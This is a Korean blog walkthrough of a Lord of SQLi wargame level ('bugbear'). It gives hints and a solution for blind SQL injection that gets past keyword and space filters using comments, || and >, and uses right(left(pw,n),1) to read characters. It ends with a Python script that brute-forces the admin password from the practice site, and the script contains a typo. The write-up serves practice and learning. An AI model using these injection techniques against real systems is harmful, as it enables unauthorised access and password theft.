힌트

1. 당연한 소리이겠지만 필터링 하는 값들을 보고 우회 기법을 생각해 본다.

2. GET 방식으로 pw와 no에 값을 보내는데, 쿼리와 필터링을 고려해서 어디가 가장 공격하기 쉬울까

3. 나는 no에 쿼리를 집어 넣었다. 이유는 pw는 이미 상글쿼터로 감싸져 있고, 심지어 싱글쿼터를 필터링 하고 있다. 주석 처리 한다고 해도 싱글쿼터를 no에 닫아야 하는데 no에도 싱글쿼터를 필터링 하고 있다. 그렇다면 공격할 수 있는 곳을 no 말고는 없다.

4. 공백 우회는 이미 알 것이고, 패스워드를 알아내기 위해서는 substr 말고 mid,right,left 가 있다.
= 대신 < 또는 > 를 통해 비교할 문자의 크기를 비교할 수 있다.

 

 

 

풀이

일단 admin으로 로그인을 해야 한다.
나는 위의 힌트3번를 참고하여 no에 쿼리를 작성 할 것이다.

일단 공백과 or 을 필터링 하고 있으므로
공백 => /**/, or => ||
로 우회를 해서 쿼리를 작성했다.
?no=1/**/||/**/1
결과는 아래와 같다.

 

 

 

쿼리가 먹힌것을 확인 할 수 있는데, 문제는 guest가 출력이 된것을 볼 수 있다.
즉 레코드 값의 첫번째 id가 guest 이고 두번째가 admin인 것을 알 수 있다.
다시말해 no=1 일때 guest, no=2 일때 admin 인 것을 알 수 있다.

admin으로 로그인 하기 위해서는 쿼리를 바꾸어야 한다.
=과 like가 필터링 되어 있으므로 ?no=1/**/||/**/no=2 같은 쿼리가 먹히지 않는다.
나는 >를 써서 우회 했다.
?no=1/**/||/**/no>1

성공적으로 admin으로 로그인이 되었다.
본격적으로 admin의 패스워드를 알아보자.length 함수를 써서 admin의 패스워드가 8자리 인 것을 알 수 있다.substr 함수를 쓰고 싶어도 필터링 되어 있으므로 mid, right, left 함수를 쓰면 우회가 가능하다.
mid는 substr 함수를 사용하는 방법이 똑같으므로 right,left 함수를 이용해서 문제를 풀어 보겠다.right, left 함수를 사용하는 방법은 아래와 같다.
<left>

MariaDB [testdb]> select left('test123',1);
+-------------------+
| left('test123',1) |
+-------------------+
| t                 |
+-------------------+
1 row in set (0.00 sec)

MariaDB [testdb]> select left('test123',2);
+-------------------+
| left('test123',2) |
+-------------------+
| te                |
+-------------------+
1 row in set (0.00 sec)

MariaDB [testdb]> select left('test123',3);
+-------------------+
| left('test123',3) |
+-------------------+
| tes               |
+-------------------+
1 row in set (0.00 sec)

MariaDB [testdb]> select left('test123',4);
+-------------------+
| left('test123',4) |
+-------------------+
| test              |
+-------------------+
1 row in set (0.00 sec)

 

 

<right>

MariaDB [testdb]> select right('test123',1);
+--------------------+
| right('test123',1) |
+--------------------+
| 3                  |
+--------------------+
1 row in set (0.00 sec)

MariaDB [testdb]> select right('test123',2);
+--------------------+
| right('test123',2) |
+--------------------+
| 23                 |
+--------------------+
1 row in set (0.00 sec)

MariaDB [testdb]> select right('test123',3);
+--------------------+
| right('test123',3) |
+--------------------+
| 123                |
+--------------------+
1 row in set (0.00 sec)

MariaDB [testdb]> select right('test123',4);
+--------------------+
| right('test123',4) |
+--------------------+
| t123               |
+--------------------+
1 row in set (0.00 sec)

 

 

 

그럼 right와 left를 이용해서 어떻게 패스워드를 알아낼까?
실습을 통해서 설명하면 아래와 같다.

첫번째 : left 함수로 왼쪽부터 값을 가져온다. (t)
             right 함수로 오른쪽 값을 가져온다. (t)
두번째 : left 함수로 왼쪽부터 값을 가져온다. (te)
             right 함수로 오른쪽 값을 가져온다. (e)

이런 원리로 패스워드를 알아낸다.

MariaDB [testdb]> select right(left('test123',1),1);
+----------------------------+
| right(left('test123',1),1) |
+----------------------------+
| t                          |
+----------------------------+
1 row in set (0.00 sec)

MariaDB [testdb]> select right(left('test123',2),1);
+----------------------------+
| right(left('test123',2),1) |
+----------------------------+
| e                          |
+----------------------------+
1 row in set (0.00 sec)

MariaDB [testdb]> select right(left('test123',3),1);
+----------------------------+
| right(left('test123',3),1) |
+----------------------------+
| s                          |
+----------------------------+
1 row in set (0.00 sec)

MariaDB [testdb]> select right(left('test123',4),1);
+----------------------------+
| right(left('test123',4),1) |
+----------------------------+
| t                          |
+----------------------------+
1 row in set (0.00 sec)

MariaDB [testdb]> select right(left('test123',5),1);
+----------------------------+
| right(left('test123',5),1) |
+----------------------------+
| 1                          |
+----------------------------+
1 row in set (0.00 sec)

 

 

 

?no=1/**/||/**/no>1/**/%26%26/**/right(left(pw,1),1)>”1″
?no=1/**/||/**/no>1/**/%26%26/**/right(left(pw,1),1)>”2″
?no=1/**/||/**/no>1/**/%26%26/**/right(left(pw,1),1)>”3″
?no=1/**/||/**/no>1/**/%26%26/**/right(left(pw,1),1)>”4″
여기 까지는 hello admin 으로 뜬다.

하지만 아래 쿼리를 입력하면 hello admin 이 출력되지 않는다.
?no=1/**/||/**/no>1/**/%26%26/**/right(left(pw,1),1)>”5″
즉 admin 의 패스워드 첫번째는 5 라는 것을 알 수 있다.

?no=1/**/||/**/no>1/**/%26%26/**/right(left(pw,2),1)>”1″
left 함수의 1을 2로 바꾼뒤 똑같은 방식으로 패스워드를 찾으면 된다.
나는 python 을 이용해서 패스워드를 찾았다.

 

 

import requests
import string

header = {'cookie' : 'PHPSESSID=####################'}
count = 1
result = ''
list_str = string.printable

for count in range(1,9):
	for string in list_str:
		url = 'http://los.rubiya.kr/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no=1/**/||/**/no>1/**/%26%26/**/right(left(pw,'+str(count)+'),1)>"'+string+'"'
		req = requests.get(url,headers=header)
		print(url)
		if req.text.find('<h2>Hello admin</h2>') == -1:
			print(string)
			result += string
			breaka
print(result)

'CTF > LOS' 카테고리의 다른 글

[LOS] – assassin 풀이  (0) 2019.04.06
[LOS] – giant 풀이  (0) 2019.04.06
[LOS] – bugbear 힌트 및 풀이  (0) 2019.04.06
[LOS] – darkknight 힌트 및 풀이  (0) 2019.04.06
[LOS] – skeleton 힌트 및 풀이  (0) 2019.04.06
[LOS] – vampire 힌트 및 풀이  (0) 2019.04.06